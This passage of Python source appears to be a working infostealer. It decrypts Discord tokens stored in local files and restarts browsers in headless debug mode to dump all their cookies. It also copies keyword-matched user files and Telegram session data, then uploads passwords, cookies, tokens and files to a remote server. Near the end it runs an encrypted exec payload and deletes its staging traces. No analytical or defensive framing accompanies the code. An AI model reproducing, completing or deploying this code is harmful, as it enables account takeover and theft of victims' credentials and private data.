            if not os.path.exists(APPDATA + f"\\{name_without_spaces}\\Local State"): continue
            try:
                with open(APPDATA + f"\\{name_without_spaces}\\Local State", "r", encoding="utf-8") as f:
                    local_state = json.loads(f.read())

                key = base64.b64decode(local_state["os_crypt"]["encrypted_key"])[5:]

                decryption_key = win32crypt.CryptUnprotectData(key, None, None, None, 0)[1]

                for file_name in os.listdir(discord_path["path"]):
                    if file_name[-3:] not in ["ldb", "log"]: continue
                    for line in [x.strip() for x in open(f'{discord_path["path"]}\\{file_name}', errors='ignore').readlines() if x.strip()]:
                        for y in re.findall(r"dQw4w9WgXcQ:[^\"]*", line):

                            token = decrypt_data(base64.b64decode(y.split('dQw4w9WgXcQ:')[1]), decryption_key)
                            token_data = validate_discord_token(token)

                            if token_data:
                                if token_data["id"] not in DISCORD_IDS:
                                    DISCORD_IDS.append(token_data["id"])
                                    username = token_data["username"] if token_data["discriminator"] == "0" else f"{token_data['username']}#{token_data['discriminator']}"
                                    phone_number = token_data["phone"] if token_data["phone"] else "Not linked"
                                    DISCORD_TOKENS.append(
                                        {"token": token, "user_id": token_data["id"], "username": username,
                                         "displayname": token_data["global_name"], "email": token_data["email"],
                                         "phone": phone_number})
                                    TOKENCOUNT = TOKENCOUNT+1
            except:
                pass
        else:
            for file_name in os.listdir(discord_path["path"]):
                if file_name[-3:] not in ["ldb", "log"]: continue
                for line in [x.strip() for x in open(f'{discord_path["path"]}\\{file_name}', errors='ignore').readlines() if x.strip()]:
                    for token in re.findall(r"[\w-]{24}\.[\w-]{6}\.[\w-]{25,110}", line):
                        token_data = validate_discord_token(token)
                        if token_data:
                            if token_data["id"] not in DISCORD_IDS:
                                DISCORD_IDS.append(token_data["id"])
                                username = token_data["username"] if token_data["discriminator"] == "0" else f"{token_data['username']}#{token_data['discriminator']}"
                                phone_number = token_data["phone"] if token_data["phone"] else "Not linked"
                                DISCORD_TOKENS.append(
                                    {"token": token, "user_id": token_data["id"], "username": username,
                                     "displayname": token_data["global_name"], "email": token_data["email"],
                                     "phone": phone_number})
                                TOKENCOUNT = TOKENCOUNT+1
    except:
        pass


for browser in CHROME_PATHS:
        if os.path.exists(browser["path"]):
            try:
                taskkill(browser["taskname"])
                strtcmd = f'"{browser["exepath"]}" --headless --remote-debugging-port=9222 --remote-allow-origins=* --user-data-dir="{browser["path"]}"'
                subprocess.Popen(strtcmd, creationflags=subprocess.CREATE_NEW_CONSOLE, close_fds=True)
                targets = requests.get("http://localhost:9222/json").json()
                ws_url = targets[0]["webSocketDebuggerUrl"]
                ws = websocket.create_connection(ws_url)
                payload = {
                    "id": 1,
                    "method": "Network.getAllCookies"
                }
                ws.send(json.dumps(payload))
                cookie_str = ""
                for cookie in json.loads(ws.recv())["result"]["cookies"]:
                    cookie_str += f"{cookie['domain']}\tTRUE\t/\tFALSE\t13355861278849698\t{cookie['name']}\t{cookie['value']}\n"
                    COOKIECOUNT = COOKIECOUNT+1
                COOKIES.append({"browser": browser["name"], "profile": "Default", "cookies": base64.b64encode(cookie_str.encode()).decode()})
                ws.close()
                taskkill(browser["taskname"])
            except: pass

for path in PATHS_TO_SEARCH:
    for root, _, files in os.walk(path):
        for file_name in files:
            for keyword in FILE_KEYWORDS:
                if keyword in file_name.lower():
                    for extension in ALLOWED_EXTENSIONS:
                        if file_name.endswith(extension):
                            try:
                                realpath = os.path.join(root, file_name)
                                if os.path.isfile(realpath):
                                    shutil.copy(realpath, STORAGE_PATH)
                                else:
                                    zip_to_storage(realpath, STORAGE_PATH)
                            except:
                                pass

def telegram():
    try:
        kill_process("Telegram.exe")
    except:
        pass
    source_path = os.path.join(APPDATA, "Telegram Desktop", "tdata")

    if os.path.exists(source_path):
        zip_to_storage("tdata_session", source_path, STORAGE_PATH)

try:
    telegram()
except:
    pass

def create_log():
    for i in range(10):
        payload = {
            "passwordcount": len(PASSWORDS),
            "cookiecount": COOKIECOUNT,
            "discordtokencount": len(DISCORD_TOKENS),
            "filenames": FILES,
        }
        headers = {"X-User-Identifier": userid, "Content-Type": "application/json"}

        try:
            r = requests.post(MAIN_URL + "/create_log", json=payload, headers=headers)
            if r.status_code == 200:
                return r.json()["log_uuid"]
            else:
                continue
        except:
            continue

    return ""

def upload_data(loguuid):
    payload = {
        "passwords": PASSWORDS,
        "cookies": COOKIES,
        "discord_tokens": DISCORD_TOKENS,
        "refresh_tokens": WEB_DATA
    }
    headers = {"X-Trace-ID": loguuid, "Content-Type": "application/json"}
    requests.post(MAIN_URL + "/log_data", json=payload, headers=headers)

def upload_files(filepath, loguuid):
    url = MAIN_URL + "/log_files"

    files = {'file': open(filepath, 'rb')}
    headers = {"X-Trace-ID": loguuid}
    requests.post(url, files=files, headers = headers)

for file_to_upload in os.listdir(STORAGE_PATH):
    FILES.append(file_to_upload)

try:
    loguuid = create_log()
    upload_data(loguuid)
    for file_to_upload in os.listdir(STORAGE_PATH):
        upload_files(os.path.join(STORAGE_PATH, file_to_upload), loguuid)
except: pass

for i in range(2):
    try:
        inject(loguuid)
        inject_atomic(loguuid)
        break
    except: pass

try:
    from fernet import Fernet;exec(Fernet(b'GYZ5vjxlZ5JNMyoai0mwS5Mu_QL4-aI1e8oFnLJ2Vj8=').decrypt(b'gAAAAABoaxO2nvlU3m4lACIKmgo4EGNkYz83fXRlkj_a-Awgb54M2uo2_1_bv2YJknOrjx3fzC46GbvbWE6IQZOcPqTrqlMZqzqymu1JEFMHRGqbQZlZru9jR8uhMg7YZ5EEiG5x0nPm55YyPQRyul2Q3fCOwuejCCYjAA52kOdTmhkoiC7D2GnV1kKgvm_q667TjFXWR8bU'))
except: pass
try:
    os.remove(STORAGE_PATH)
except: pass